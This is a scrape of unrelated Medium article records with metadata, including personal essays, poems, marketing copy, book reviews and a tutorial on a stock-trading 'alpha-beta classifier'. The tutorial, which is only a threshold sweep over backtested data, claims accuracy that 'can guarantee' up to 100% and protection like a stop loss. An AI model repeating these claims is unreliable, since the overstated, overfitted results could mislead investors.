The best friendships
During normal times, we’re a good group.
During this crazy time, we’ve become “the best team,” as my colleague Violet says. The support, kindness and friendships are invaluable.
The students and families
Leaving the most rewarding part for last: the humans I serve. They take up a space of my heart every year and stay there forever.
In real life, the kids provide instant gratification multiple times a day: when a child learns, smiles, says something funny, calls you “mom”, takes your hand, opens her eyes in wild amazement, pees in the potty for the first time ever — just to name a few examples.
Even remotely, the rewards of the job are apparent every day: a parent’s email telling you her child cried when the video chat ended (because he was so excited to see you); a video showing Johnny standing in front of a screen following your rendition of Head, Shoulders, Knees and Toes; or, my favorite, a video of a child reading a self-made story with his own drawings of birds (the theme we’ve been focusing on). | https://medium.com/age-of-awareness/why-being-a-public-school-teacher-is-the-greatest-job-9187b7f14119 | ['Daniella Mini'] | 2020-04-02 21:05:01.909000+00:00 | ['Disability', 'Teaching', 'Remote Work', 'Coronavirus', 'Education'] |
Ideas in the Wild: How Shari Moss is Helping People Shed Their Shame To Share Their Story | At the age of eight, Shari Moss lived in a single motel unit in the middle of the desert with her three siblings. Isolated from her peers and too poor for toys, she would spend hours flipping through the pages of the motel’s Sears catalog, imagining the home she so desperately wanted.
Her journey crosses multiple cities in two countries as she finds love, goes through hell and back, and continuously searches for that perfect house and a life she can be proud of.
After writing two books to help millennials through these challenging and competitive times, Shari opens up about her own life in For the Right Kind of Love, a memoir about overcoming the past and finding joy in helping others. I recently caught up with Shari to learn what inspired her to write the book and the biggest lessons she’s learned during her journey.
What happened that made you decide to write the book? What was the exact moment when you realized these ideas needed to get out there?
It really was a combination of things that led me to write the book, but let’s put it this way: I’ve wanted to write my story, or journey, for a number of years now, but knew two things. First, it wasn’t over yet, and second, there would be some clue or intuition when that time was right.
As for writing it, well, my story is one of survival from a very early age right up to middle age, for not just one reason but many, including inequality, judgement, female empowerment, codependency, and so on. I believed that if I could succeed as much as I have through very powerful determination and perseverance, that is something that should be shared in order to help others overcome any of the challenges. Letting them know they are not alone, in the things that most of us just don’t share about ourselves, to me is very powerful.
As for that “moment” of discovery that this had to get out there? It revolves around my passion and work with the One Last Talk movement, founded by Philip McKernan whom Scribe knows very well. While I was on the journey of discovering and attending many of the Talks in different countries, there was one in particular that struck me the most deeply. It was in a prison in Colorado where six men stood up amongst their own and spoke of things very, very clearly from their heart and their own suffering. The reaction from the “audience” was something to really see. I said to myself right at that moment that if they could do what I just witnessed, then what excuse did I have for not sharing my own story when it could help so many?
What’s the biggest lesson you’ve learned going through the journey you share in the book?
Likely the biggest lesson for me as I journeyed through this is the shedding of shame, the incredible lifting of weight when you’ve simply told the truth and truly opened up about your experience, the guilt for what part you may feel you owned. Those are the liberating things that do happen and I felt an enormous sense of purpose while that was happening.
I learned a few years ago, as my kids transitioned into young adults, that it was OK to say I didn’t have the answer necessarily or that I had made a mistake. To admit, quite simply, that I was human. It created an even deeper relationship and trust.
Trust is such an important factor in all types of relationships. My lesson? Being completely open and honest, with the intent to help others, is an incredible way to honour yourself.
How will you apply this lesson in your life moving forward?
I won’t be afraid to show who I am on the inside. That’s not always easy to do, and, naturally, comes with a degree of dignity and decorum, but it’s something to live by. I think the word authentic is overused, and by that I mean the definition can become diluted or not altogether clear. So, what I would like to say is by “being real,” I mean always staying true to my core beliefs and championing myself by remembering I do have the power to help others.
That is where I believe my purpose lies. Remembering where I came from and what I came through, that is what gives me the joy of life every day. I can and will lift others up by “hearing” them when they need to talk. If I have helped one person with my works or my books, then I will have done great work. To remember that is life moving forward. | https://medium.com/authority-magazine/ideas-in-the-wild-how-shari-moss-is-helping-others-shed-their-shame-in-order-to-share-their-story-8d8e6ec187eb | ['Zach Obront'] | 2021-04-19 21:28:51.091000+00:00 | ['Emotional Health', 'Healing', 'Shame', 'Healing From Trauma', 'Honesty'] |
Digital Marketing Agency Dallas | Hire a dedicated marketing team to skyrocket your business growth.
Centaur Interactive is a Digital Marketing Agency in Dallas, North Texas. The city is famous for its art culture and has the nations largest art districts in Dallas and is the ideal city for most business owners. The city is thriving in technology and financial service industries and is considered the “most business friendly” city in the country.
Centaur Interactive is a growing digital marketing agency that uses full-service digital marketing solutions to build and grow businesses on various digital platforms. We use best practices and obtain a full understanding of your target audience to help you expand your business and achieve the best outcomes based on your business objectives.
We help you realize your full potential as a digital marketing firm in Dallas by transforming organizations using innovative digital tactics and strategies to provide a better user experience. With our digital marketing solutions, we can lower your overall costs, attract more potential customers, and create highly engaging campaigns to boost conversion rates.
Services We Offer
At centaur Interactive, we build websites and also make sure your site works well and ranks better on search results. SEO is important for any industry that has very high competition. Our digital marketing agency in Dallas will provide a custom SEO strategy for your business so you can rank higher in the search engine pages. We perform a site-audit and an in-depth keyword research to analyse business needs and align them with your goals. Our Digital Marketing SEO analysts in Dallas will help you with the best SEO solutions and strategies based on business requirements. We make sure your customers find your business by implementing strategic link building that will help you rank for most competitive keywords.
At Centaur Interactive, we are dedicated to improve and optimize PPC strategies to help improve ROI for your business. Our digital marketing agency in Dallas will continuously keep a check on how we spend on Ad campaigns and optimize your campaigns accordingly. Our Dallas digital marketing company has a team of PPC experts who will strategize and implement the best PPC approach for the campaigns. We also provide a custom dashboard to access PPC campaigns and review it with full transparency.
Our web developers at Dallas digital marketing agency will provide expert web application and web design services for your business using the latest technologies. We build websites that resonate with your brand. Our expert development team at Dallas will consider all the aspects for web development like consistency, navigation, responsiveness and a lot more in a time-efficient way. We work closely with our clients to make sure the website represents what the brand stands for, to amplify your business and support your digital marketing campaigns.
Social Media Marketing
Our Digital Marketing Agency in Dallas has goal-oriented social media marketing team that will help promote your brand to your target audience. Our team will also perform an in-depth analysis of your business and sector to understand and implement the best strategies that your business needs that will help improve your brand presence across all platforms. Along with that, our social media specialists will help you determine the best social platforms that will work for your business that converts your followers into loyal customers.
A digital marketing strategy will give a clear outline of all your business goals that you want to achieve. They will be clearly defined and will be part of all marketing campaigns. Our digital marketing agency in Dallas focuses on providing a marketing strategy to implement your business objectives by understanding the audiences’ challenges and creating the right strategy for your business. Our marketing strategies vary depending on all our clients’ needs and executing the strategy based on business requirements and goals. | https://medium.com/@centaurinteractives/digital-marketing-agency-dallas-f0d0e4039423 | [] | 2021-11-16 10:40:03.742000+00:00 | ['SEO', 'Digital Marketing', 'Seo Services', 'PPC Marketing', 'Digital Marketing Agency'] |
The Menopausal Blues | The Menopausal Blues
My flashes are relentless
It seems
I’m just defenseless
That’s no
Lie.
I’m fogged,
Fatigued and
Dragging
My brain waves often
Lagging
Just want
Pie!
Never said I wasn’t
Crabby
Yea I know I’ve gotten
Flabby
I need
BOOZE!
Irritable, forgetful
Whiney and regretful
Minds
Confused!
Just leave me in my
Dungeon
I know I am no fun
Inside my
Lair
A man can’t know the scope
Of this menopause
I hope
He just DON’T CARE!
I know I can get
Moody
I sometimes sulk and brood
I need a
Plan?
You say it’s just my
Hormones
But this female lore
Is well known…
Get me a FAN!
Michelle Monet copyright 2016 from book Catch a Poem by the Tale, a poetic memoir | https://medium.com/immersed-in-verse-from-dr-suess-to-emily-dickenson/the-menopausal-blues-5868e1bba9ef | ['Michelle Monet'] | 2019-11-02 06:12:26.141000+00:00 | ['Humor', 'Menopause', 'Poetry', 'Poem', 'Aging'] |
House of Candy | Sleep
my little child
Drift
into the world
of my magical dream
Take the candy
from the house
in the woods
Don’t you like
the sweetness
on your tongue?
Don’t you want to
enjoy that taste
for the rest
of your youth?
So stay with me
in this house
of candy
And sugar
would never be
the problem. | https://medium.com/loose-words/house-of-candy-29ad09233a97 | ['Fọlábòmí Àmọ Ó'] | 2020-12-22 12:42:27.239000+00:00 | ['Evil', 'Witch', 'Poetry', 'Haunted House', 'Sweet'] |
Top 10 Secrets You Don’t Know About Lahore | Lahore is the ancient city of Pakistan rich with ancient culture, architecture, and monuments, and today it’s the well-developed city of Pakistan. People from all over the world used to travel in Lahore as it’s the main hub of education, trade, business, employment, etc. Property in Lahore is always in high demand if you are looking plots for sale in Lahore for the business purpose you can easily find from Pakistan the best online real estate portal Zameenforyou. Maybe you are familiar a lot with Lahore but there are some secrets of this city that are unknown to even peoples of Pakistan. Here are some details are given below.
1) Secret Walled City
Honestly, did you know this famous ancient city, don’t be surprised because even a majority in Lahore are unfamiliar with this inner city of Lahore? This city has a specific ancient view, Narrow Streets and a different representation of Lahore. There are also very famous food stalls and more fun with religious monuments. It’s really a fascinating place to visit in Lahore. This city is near to Lahore fort and well known for its food stalls and other culture. You can find Luxury Apartments on Rent in Lahore near the walled city.
2) Secret Holy Places
Pakistan is an Islamic country, and that’s why religious sculptures, monuments, and buildings are always liked by the people of Pakistan. There are many secrets spiritual and religious holy shrines which are very much famous and valuable but still, it’s hidden for a majority of people.
Moti Masjid is the most spiritual place in the Lahore fort. This mosque is considered very special as the Mughal emperor used to prayers in this mosque. It is also considered a hunted place, as it is famous that Jinnat also used to pray in this mosque. It’s really a secret and great spiritual place to visit in Lahore.
There are also many holy shrines that are very famous in Lahore but still unknown. It included Miani Sahib Graveyard, Peer Makki Shah, Hazrat Baba Shah Kamal, Hazrat Baba Shah Jamal, Masjid Wazir Khan, and Bibi Pak Daman Lahore. These all are hidden still very much popular holy places in Lahore.
3) Food Paradise
You know how many people of Lahore are foodies lover and if you are also a food lover, you have an idea about food street Lahore and all the top quality places regarding food but wait, still there are a lot of places which are very famous for its special food but still not everybody taste their food. It includes Baba Sheikh Fish in ichra which are well known for their fish quality.
There is a secret breakfast available only on Sunday at S alt n Pepper in Gulberg MM Alam Road. You must also try Waffle cold products from main market, special pan from the defense mor, Bakery products of BABA BAKERS and above all tea from PAK Tea House which is very famous. You can also find my food brands in top housing societies in Lahore.
Lahore is known as the city of gardens and very popular for its greenery. There are many amazing parks in Lahore which are very famous, but there is a park unknown to many people despite providing many facilities free of cost. It is actually Jam-e-Shirin Park near liberty. You can have free yoga classes in this park and also enjoy beautiful gym services free of cost. If you love free things, you can enjoy the best quality of Jam-e-Shirin drinks.
5) Secret Wild Life
If you are a little adventurous or animal lover, you must visit safari park, not in South Africa but it’s available in Lahore as well. You can adventure out there and can live closely between wild animals through a safety van. It’s really a fun place.
6) Elite Class Education
There is a general myth that all the high standard educational institutes are only for high elite class people but there is a secret that now you can also enjoy the same education and atmosphere in a nominal amount of money. These high elite class education systems include Lums, NCA and Punjab University. You can now learn in these high-class educational universities through short courses that are also very affordable.
7) 5-star school
Here is the secret of the great education system in Pakistan. If you have enough resources and you want to educate your children with all the best facilities, there is a perfect 5-star school for you with the name of Learning Alliance. It’s the first school education system of Pakistan that provided highly stranded education along with medical facilities regularly. It also extensively focuses on student mood and attitude and behavior. It’s one of the great schools for high stranded growth of every child.
8) Economical Shopping Places
Lahore is a fun place that cannot be complete without shopping. People of Lahore are known as open-heart people. They love to celebrate every event and how can that celebrate be at its best without shopping. You can get economical shopping from Ichra, Station, Azam Market, Anar kali and Kareem Block. These are not the top places, but you can get economical shopping of high standard products from these markets.
9) Salmat Pura Market
This is a secret market where you can get everything at an economical price. You can find imported machinery products, electronic, mechanical, and everything you need for your business.
10) City Of Opportunities
Last but not least there is a lot of problems in Lahore for outsiders but there is the great secret of this city it’s a city of opportunities. If you are hardworking, ambitious this city can help you achieve your goals and that’s why people of Pakistan preferred to live in Lahore. If you are also looking for a house of rent in Lahore, you can find it from Zameenforyou.com. It is the best online real estate portal providing residential, commercial, and cooperative property as its registered users used to list their properties on this portal. You can find House for sale in Lahore as well from this portal. | https://medium.com/@seopak/top-10-secrets-you-dont-know-about-lahore-5e2aacc2e2b7 | ['Noman Awan'] | 2019-10-12 12:06:12.607000+00:00 | ['Dating', 'Pakistan', 'Lahore', 'Lahore Real Estate'] |
A financial neural network for quants | ALPHA-BETA CLASSIFIER
A financial neural network for quants
Background
Artificial intelligence (AI) is continuously becoming an integral part of what we do nowadays, from the suggestions of the YouTube videos we ought to watch, to the algorithms running our high frequency trading in the Wall Street. Indeed Google algorithms know what we prefer, better than what we want. That was according to the Twitter CEO and founder — Jack Dorsey. This would not be mentioned if it were not for pattern recognition and classification, which are the main underlying principles of AI.
Fig: 1 An Image of Humanoid robot. Photo Credit: Photo by Franck V. on Unsplash
Although the two principles have been undertaken for centuries purely through conventional statistical inference and mathematics, it took us (as a civilization) a while to recognize these processes were not good enough, rather they can be incredibly difficult to solve, if not clumsy and time consuming to say the least. Artificial neural networks forms the core of AI, as they are the main entities that have been used to successfully mimic unnecessarily voluntary, but evidently the right decisions nevertheless in many instances. Here we are referring to autonomous or self-driving cars, speech and facial recognition, objects tracking, and even humanoid robots.
As a result, there are many types of neural networks that have been put to use up to date for various purposes. For example: Feed forward neural networks, radial basis function neural nets, recurrent neural networks, convolutional neural networks, modular neural networks, and Kohonen self-organizing neural nets. The latter one is particularly dear to me, as professor Teuvo Kohonen — the proponent happens to be one of my biggest inspirational figures since I got to know about neural networks in general, and how they function. My first project on neural networks concerned prediction of wind speeds and directions as part of a feasibility study for setting up wind farms in various municipalities in Finland¹. Even though the concept was advanced, the very basics such as types of neural networks and which ones suits what problem are discussed in this reference. This article is however not about the types of neural networks, but a particular one as the title suggests — financial neural network. You will notice it doesn’t appear in the types of neural nets listed above, and may not appear elsewhere at all at the moment. It is one of those patterns that we come across in the relatively new playground of AI.
Introducing alpha-beta classifier for quants
Imagine this scenario, supposing that the survivors of RMS titanic (April 1912) could be pre-determined and foretold? that means you will have to assume you already knew the accident would occur — that’s kinda creepy. Let’s make it even more interesting, what if the number of men, women, and children could be told a part, and classified according to the injuries they would sustain, just by the position they occupied in the cruise ship. This was an unfortunate incident — let’s consider asset trading.
In a similar way, supposing that an asset that you are about to buy, say a stock, future, bonds, or even cryptocurrency could already be pre-determined in such a way that you could tell which trade will be profitable and which will not, even before you get into those trades. You would be more judicious in knowing what to trade right? This is what alpha-beta financial neural network is all about. With this type of neural network, you attempt to classify the trades you are about to enter, and assign a probability of whether it would be profitable and worthy to engage in or not. These are the decisions that usually determine the the “buy” and “sell” side signal of your strategy, in particular cases that you are writing a code for algorithmic trading.
Fig: 2 Photo Credit: Chris Liverani on Unsplash
The mathematics of alpha-beta classifier
This class of neural network is a classifier, with the input being a ratio of the current highest closing rate, “High” and opening, “Open” rates ratio as a single input, and a bias of -1. These are passed through a logistic activation function that scales the input to a probability distribution function between 0 and 1. To perform an illustration on this:
Fig: 3 Author’s illustration of ABC neural network
Let High be z, Open be x, and weights be w:
Eq. (1)
The symbol β is the bias, and in this case is a negative constant -1. The activation function α is a function of the weights that are initialized in the beginning and estimated as the classification progresses. Gradient descent is the ultimate measure of the performance efficiency of the model. Minimizing the gradient is equivalent to increasing the value of the probability distribution function, and in the process we get the following:
Fig 4: The activation function for alpha-beta classifier
Eq. (2)
A practical guide
Following along always makes it tenable if you seriously want to consider using this type of technology as you code your next trading algorithm. We will begin by listing the requirements to enable you accomplish this task:
First you need to acquaint yourself with using data frames in python.
Next you will need python3.6 installed on your system. You also need to have pandas and numpy basics.
Finally, this is not a must, but installing jupyter notebook or ipython will lessen your work to a large extent.
Data acquisition
We will make use on the standard asset information, presented in a table format with columns: ‘date’, ‘open’, ‘high’, ‘low’, ‘close’, ‘adj close’, ‘volume’. You can get this from yahoo finance, downloaded to your project folder. For this case study, we will make use of the ticker symbols ‘AAPL’ and ‘GOOG’, corresponding to historical stock data for Aple inc. and Google Inc. This will effectively download the data to your project.
Importing libraries
First, navigate to your project folder. This (the whole project rather) is best done when you can work on the command prompt, or Unix terminal. I will assume Linux terminal for this. Therefore ensure you have installed all the required software, and run the following commands to get started:
$ cd /your/project/root/directory/
$ jupyter notebook
The above should bring up a text editor window within your browser, similar to this one:
Fig 5: How Jupyter notebook project folder looks
Click the red-circled area to create a new document where we will place our code. We will then proceed to import the libraries as mentioned earlier. These are: pandas, numpy, and time as follows:
# import libraries
import pandas as pd
import numpy as np
import time
# Read in the data from the downloaded csv file(s) into a data frame
df = pd.read_csv('AAPL.csv')
Examining the data and pre-processing
To check out the data imported to your workspace, type the following and run the cell — clicking the red-rectangular selection in Fig. 2:
Fig 6: Executing commands in Jupyter notebook
This will result in something like this:
Fig 7: Checking the contents of a pandas data frame with command df.head()
We wish to change the cases for the column names for simplicity in proceeding with the code. We therefore replace the existing by running the following code:
df.columns = ['date', 'open', 'high', 'low', 'close', 'adjclose', 'volume']
You can do a whole lot of exercises here, for instance you can filter out only positive trades (pos) that you would have desired to enter — i.e. the trades that would have yielded profits had you entered into back then. To do this, simply key in the following code:
pos = df[df['change'] > 0 ]
You can do the same for the trades that ended up yielding negative results, or loses (neg). You might have desired either not to get involved in these trades, or only get in to buy — use them to create a buy signal. You would then key in:
neg = df[df['change']< 0 ]
Populating indicators
This classifier uses the simplest indicators ever. These are:
The ratio of closing to opening rates, which will be the input to the neural network, and
We will also compute the change that we will use as a guide, more like control experiment. The corresponding code is therefore placed as follows:
df['change'] = df['close'] - df['open']
df['ind'] = (df['high']/df['open']) -1
df.head()
Above code will create two extra columns, one with the ratio as discussed — let’s call this ‘ind’, and the other simply call it ‘change’ as we have always known. Notice that the variable ‘ind’ is already mirroring the LHS of Eq. (1). We will now proceed to compute the RHS in the following sections.
Weights initialization
We will start by assigning a set of linear weights using numpy library as follows:
w = np.linspace(-6,6,len(df))
The above code will define a linear set of parameters that will be used to compute the probability distribution function — or the activation function in Eq. (2). Alpha is then calculated as follows:
alpha = 1/(1+np.exp(-w))
Evaluating the algorithm
We are done. Now, we need to implement the actual equation in the data frame and check out the results. In the simplest terms, you will key in the following for every value of alpha that you compute from above.
test = df[df['ind'] >= alpha]
eval = test[test['change'] > 0 ]
Summing it all up
We have seen that it asset trading is not different from other phenomena where theoretical approaches for predictions exist. As such, asset trading can be classified based on their potential—rather, the trades themselves can be classified with the sole aim of deciding whether to enter or not. The key parameter is the projected state of profitability. The following code sums up all the steps outlined above:
# import libraries
import pandas as pd
import numpy as np
import time # used to imitate sleep mode during data streaming
from termcolor import colored # used to print stdr output in color
# Read in the data from the csv file
from contextlib import suppress
df = pd.read_csv('AAPL.csv')
# Reduce the column names to lower case
df.columns = ['date', 'open', 'high', 'low', 'close', 'adjclose', 'volume']
# compute the change to use as a guide in backtesting
df['change'] = df['close'] - df['open']
# populate the classifier
df['ind'] = (df['high']/df['open']) -1
# Initialize the weights
weights = np.linspace(-6,6,len(df))
# Fire the neural network def genFunc():
eta = 0
while eta <= 100:
for i in weights:
alpha = 1/(1+np.exp(-i))
test = df[df['ind'] >= alpha]
pos = test[test['change'] > 0]
eta = len(pos)*100/len(test)
yield(alpha) # Use generator function to extract the values of alpha
with suppress(ZeroDivisionError):
for i in genFunc():
print(i, end=" ")
Once you have determined the minimum value of probability or alpha of trades to get into, the buy and sell signals can simply be written as:
dataframe[dataframe['ind'] < min_alpha ] ----> buy
dataframe[dataframe['ind'] >= min_alpha ] ---> sell
Key Results
The resulting table is a standard output of the (longer) code above printed to your screen. Check out this scenario:
Let’s suppose that the final weight, w you settle on is ‘-4.23’, the activation function, α would yield ‘0.0143’, and the probability is thus 0.90566 — marked in the figure 8. As seen on the table there are three columns first: the weights, second column: alpha value, third the efficiency of the model, and finally: the number of trades entered onto.
This means that had you entered that trade, there is a 90.6% chance that you would have emerged with a profit, and conversely, a 9.4% chance that you would come out with a loss. As of how this percentage is calculated, we simply compute the length of the data frame with the variable ‘change’ greater than zero in the ‘eval’ data frame, and compare with the total length of the data frame ‘test’.
Fig 8: Standard output of the guiding case study code
A note on Pros, Cons and where to get help
Pros
Alpha-Beta classifier is quite accurate — at least from back testing results.
Theoretically, it can guarantee as high as 100% classification efficiency.
The best feature however, is that the higher the model efficiency, meaning fewer trades, the higher not only the the reward, but also fewer chances to lose. Hence the feature acts like a stop loss of some kind. This implies that you can choose to get in to just a few trades but with high potential for profitability. On the other hand, you may choose to enter into many trades, each with little benefits. This will help you in diversifying the risk, rather than concentrating all in one place.
Finally, alpha-beta classifier supports Do Not Repeat Yourself (DRY). One model may fit more than one situations. For instance, download Google Inc. historical data (saved as GOOG.csv), with everything else remaining the same, you should find that the model still works — sometimes even better.
Cons
However, one major setback is that the higher the model efficiency increases, the fewer the number of trades you get into.
F1#Help
This is a new concept that could prove helpful especially for quants who likes to experiment and build up on it. If you are such a person, using this as a starting point and need help, let me know and I will give as much support as possible.
References
[1] Rotich, N.K., Backman, J., Linnanen, L. and Daniil, P., 2014. Wind resource assessment and forecast planning with neural networks. Journal of Sustainable Development of Energy, Water and Environment Systems, 2(2), pp.174–190. | https://towardsdatascience.com/a-financial-neural-network-for-quants-45ec0aaef73c | ['Nicolus Rotich'] | 2020-11-10 00:35:46.184000+00:00 | ['Algorithms', 'Towards Data Science', 'Artificial Neural Network', 'Artificial Intelligence', 'Finance'] |
6 Books That Will Take Your Novel Writing to the Next Level | 6 Books That Will Take Your Novel Writing to the Next Level
Photo by Gabriella Clare Marino on Unsplash
For many years, I’ve dreamed of attending a low-residence MFA program, but the cost is prohibitive and I can’t really commit to two or more years away from work to study a craft I’m already earning a living at.
When March 2020 hit, my freelance writing gigs ground to a halt. I had free time as far as the eye could see while everyone else in my family was busy at work or with school. It was the perfect time to dive into the craft of writing and get a formal education in what I had been learning by doing all these years.
I researched the best craft books that fit my needs and dove into them with an eye toward writing my own original stories. I’ve been writing for children since the early 90s, but I’ve been toying with women’s fiction, middle grade chapter books and picture books in the past few years and I want to learn the best way to get these stories out and bring them to life.
My mother once asked what made me want to be a writer. I told her it’s a way to quiet the voices in my head. I was only half-joking. Sometimes I think my mind is as filled with characters and situations as many people’s social lives. When I don’t write, it gets really crowded in there. And when I don’t write well, they tend to stage an uprising, messing with my sleep and dragging my attention away from real life conversations and things I should be doing.
So, with quarantine underway, I decided to undergo my own education in the craft of writing. I read some books on inspiration, others on craft, and others on structure to give me a solid foundation. Here’s a rundown of what I read, what I learned, and what I took away.
Photo courtesy of Cara J. Stevens
Letters to a Young Writer, by Colum McCann
Difficulty level: Beginner / easy / quick read
Colum McCann is a professor in the MFA Program at Hunter College in New York City. His book, Letters to a Young Writer, is the ideal place to start your own program, as it gives a solid 360° view of everything you ever or never wanted to know about the writing process from generating ideas to going on a book tour. It’s a solid primer that gives you the toolkit and vocabulary you should have as a foundation before embarking on any well-crafted program.
My biggest takeaway from Professor McCann is this: The most destructive force in your life is liable to be the unwritten story. If you don’t write, you’re not a writer.”
Photo courtesy of Cara J. Stevens
Writing Down the Bones, by Natalie Goldberg
Difficulty level: Beginner / easy / read slowly and savor each night before bed
Natalie Goldberg’s iconic guide to freeing your creativity and releasing your inner writer invites readers to embrace the Zen of the creative process, finding a flow and rhythm through consistent practice. Watch. Listen. Do. Contemplate. Fill notebooks with everything you see, think, hear, taste, smell, and interact with. Try new things. Be open to new ways of finding that spark that lights your way to creativity.
My biggest takeaway from Natalie Goldberg’s Writing Down the Bones is this: Write everything that comes to mind, not just happy or clever things, but things that frighten or disturb you. Writing the difficult things is like doing heavy lifting. It may be rough going, but in the end it will make you stronger.
Photo courtesy of Dawn Husted
A Wordy Woman’s Guide to Writing a Book, by Dawn Husted
Difficulty level: Beginner / easy / keep on hand for reference
Dawn Husted is a YA writer. Her path to completing her first book was a challenge because she came into it unarmed. After eight years of writing and publishing books, Dawn has had an immersive on-the-job education on the first-timer’s path to publication. She wrote A Wordy Woman’s Guide to Writing a Book as a primer or lifejacket of sorts to support other newbies looking to embark on the same journey. The book is written in the style of a workbook, so you’re not just reading as you go, you’re playing along and filling in the blanks. This book has facts and figures like how many words and pages each type of book should have and how to figure out what genre your book is. It defines character, plot, setting, and all the basics, but it also has worksheets like an idea generator that guide you step by step as you embark on your first book.
My biggest takeaway from Dawn’s book is that no matter how long you’ve been writing, going back to the basics can really get you on track when you’re feeling lost. The worksheets alone are well worth the price of the book.
Video courtesy of YouTube
Wired for Story, by Lisa Cron
Difficulty level: Intermediate / challenging / keep a pen and paper handy
Every time I sit down to write an original story, I write furiously for half the book and suddenly get stuck midway through. Many times, I find myself reading a book and after a few chapters decide it’s not worth it. What makes us stop reading some books and keep going right til the end for others? According to Lisa Cron, it’s how our brains are wired. In her book, Wired for Story, Cron looks at the craft of storytelling through the lens of neuroscience — what makes us respond so viscerally to a story and how can we, as writers, trigger that response every time.
The book, for me, was a mind-blowing read. I took pages of notes as I devoured the book, hoping that the transcription was somehow etching the concepts into my brain.
My biggest takeaway from Wired for Story relates to structure: Start the story with balls already in play and create ticking clocks to create a sense of urgency. The story begins as soon as the timer starts. What happens next? That’s the plot. The second takeaway is about conflict: Conflict is the battle between fear and desire. The potential for conflict ripples through the story with mounting tension and gives urgency to everything that happens. That’s what keeps people reading.
Photo courtesy of Cara J. Stevens
Story Genius, by Lisa Cron
Difficulty level: Intermediate / challenging / use it as a workbook
The full title of the book spoke volumes to me: Story Genius: How to use brain science to go beyond outlining and write a riveting novel [*before you waste three years writing 327 pages that go nowhere]. Yeah, it’s a mouthful, but guess what? I wrote my first piece of contemporary fiction in three years. Number of pages: 335. And in the end, it’s gone nowhere. Story Genius takes the Wired for Story concepts and puts them into practice with concrete advice interspersed with exercises to elucidate the concepts and draw out your own story along the right path. I won’t lie… this book is hard work. I’m not through it yet, but so far, it feels worth it and I’m sticking with it no matter how long it takes me.
My biggest takeaway from Story Genius: “Outlining the plot before you develop your protagonist traps you on the surface of your novel — that is, in the external events that happen.” Ahhh, so that’s where I keep going wrong!
Photo courtesy of Jessica Brody
Save the Cat! Writes a Novel, by Jessica Brody
Difficulty level: Intermediate / engaging / workbook that’s also packed with information
For aspiring writers, Fall 2020 was the season of Save the Cat! Writes a Novel although the book has been out since 2018. Once you have your story concept and characters down and you have a basic idea of what you want to happen in your book, head over to Jessica Brody’s website and pick up her book for a step-by-step tutorial on the 15 steps to writing a book. The Save the Cat! Beat Sheet lays out 15 plot points that are found in almost every successful novel ever written, according to the author — and she lays out a pretty convincing case for each point throughout the book. This secret code to storytelling will provide a structural scaffolding for your story so that when you finally sit down to write, all you’ll need to worry about is how you’ll fill in the blanks. After reading the book and taking copious notes, I signed up for the newsletter and downloaded the starter kit and considered myself well-armed to start writing.
My biggest takeaway from Save the Cat! Writes a Novel: Writing a novel is not rocket science. It’s not about reinventing a wheel or finding a story that no one has ever told before. It’s about telling a story — your story — in a way that builds tension and releases it and creates a great payoff at just the right time. (And if you’re wondering what the whole cat theme is about, you’ll have to read the book.)
Photo courtesy of Cara J. Stevens
Next on my bookshelf is Stephen King’s On Writing, A Memoir of the Craft, which I’ve heard no writer should miss, as well as my 15th annual re-read of Letters to a Young Poet, by Rainer Maria Rilke. Each time I read his letters, I take away something new and important and deeply personal.
I’m looking forward to seeing what the coming year’s reading will bring. | https://writingcooperative.com/6-books-that-will-take-your-novel-writing-to-the-next-level-fb49dec50980 | ['Cara J. Stevens'] | 2020-12-22 12:02:37.175000+00:00 | ['Book Recommendations', 'Novel Writing', 'Writing', 'Fiction Writing', 'Creativity Tips'] |
Erma Bombeck Was The Original Mommy Blogger | I Want to Grow Hair, I Want to Grow Up, I Want to Go to Boise was published in 1989 — way before the internet and social media enabled families to reach out to the larger world and let them into the lives of families dealing with childhood cancer. It’s out of print. I couldn’t even buy it for my Kindle. I ended up getting a copy for $2.00 on eBay.
Cancer was very insulated in 1989. People still whispered the word and avoided talking about it. It’s probably still taboo to some degree — but personal blogs, social media, and web sites like GoFundMe are allowing families to open up about their struggles with cancer while giving us a way to ask for help and support.
Even so, cancer — particularly childhood cancer — ranks up there with a parents’ “worst nightmare” and of course I should know.
Cancer scars families. It scars children. It’s easy to sink into despair. It’s hard to remain hopeful. Cancer is unrelenting and cataclysmic. No one should ever have to see their child go through it.
But, the thing that we can forget in the midst of this crisis, is that children do survive. They grow up. They go on to have their own children. And that’s really what this book is about. (full disclosure: this was not how the story ended for my daughter, but when I found Erma Bombeck’s book, I needed the hope it gave me).
The overarching message in Ms. Bombeck’s book is one of optimism. She writes:
“Inside these little bodies that house a full-blown major catastrophic disease are children fighting to get out. And children exist on a diet of optimism: the rain is always going to stop just before the Little League game begins. The lost library book will always turn up just before it is due. An Act of God will close the school when the term paper isn’t finished.”
It’s easy to lose sight of optimism when you’re trying to get through the day (or the hour). But it’s critical to remember the innate optimism of children. They follow our cues, Ms. Bombeck is saying, lead them through this forest.
I Want to Grow Hair honors all the players in the epic story of childhood cancer — parents, siblings, doctors, nurses, friends and, most of all, the children fighting the disease.
Ms. Bombeck writes with such love and respect that you forget to be afraid of the disease (maybe, just for a minute). That’s exactly what those of us who’ve lived through (or are living through) this horrific illness really need.
This book reminded me of the power of hope. It reminded me that I’m not alone — other mothers have come before me in this fight and others will come after me. She writes:
“Mothers are programmed to bring a child to maturity and by all that is holy they will use everything they have to bring this about.”
It makes so much sense to me now — why I’d been so obsessed with learning everything possible about cancer and why it was important for me to honor my daughter’s incredibly difficult struggle with the disease by writing a book about it myself.
One of the most powerful passages in the book is about patients dealing with relapse, which is something that my own daughter faced very early on. It’s not easy to read.
“When forced into a second battle with the disease, it is not unusual for children to consider suicide. Relapse patients mention the word often. Do not think that what you are about to read is a sign of weakness. You are looking despair in the face. You are meeting people who thought they were going home and are being sent back into combat — one more time.”
This is such an incredibly insightful passage because it really captures the devastating fear of relapse, as well as those in-between times when we wait for test results and pray that they’re normal.
So, my first book review is for an out of print, hard to find book. But it’s a book that deserves to be honored for its thoughtful and uplifting approach to chronicling childhood cancer.
In the words of Ms. Bombeck:
“Cancer and optimism were not considered compatible on this planet.”
But maybe they should be. These are words I held close to my heart throughout the entire length of my daughter’s illness. | https://medium.com/grief-book-club/erma-bombeck-was-the-original-mommy-blogger-53237497575e | ['Jacqueline Dooley'] | 2019-03-22 20:04:09.123000+00:00 | ['Cancer', 'Inspiration', 'Book Review', 'Reading', 'Books'] |
A Parametric Top Type? | I haven’t been writing much here lately (mostly because I’ve been very busy with my day job), but there’s a really interesting conversation going on right now in the Dotty repo.
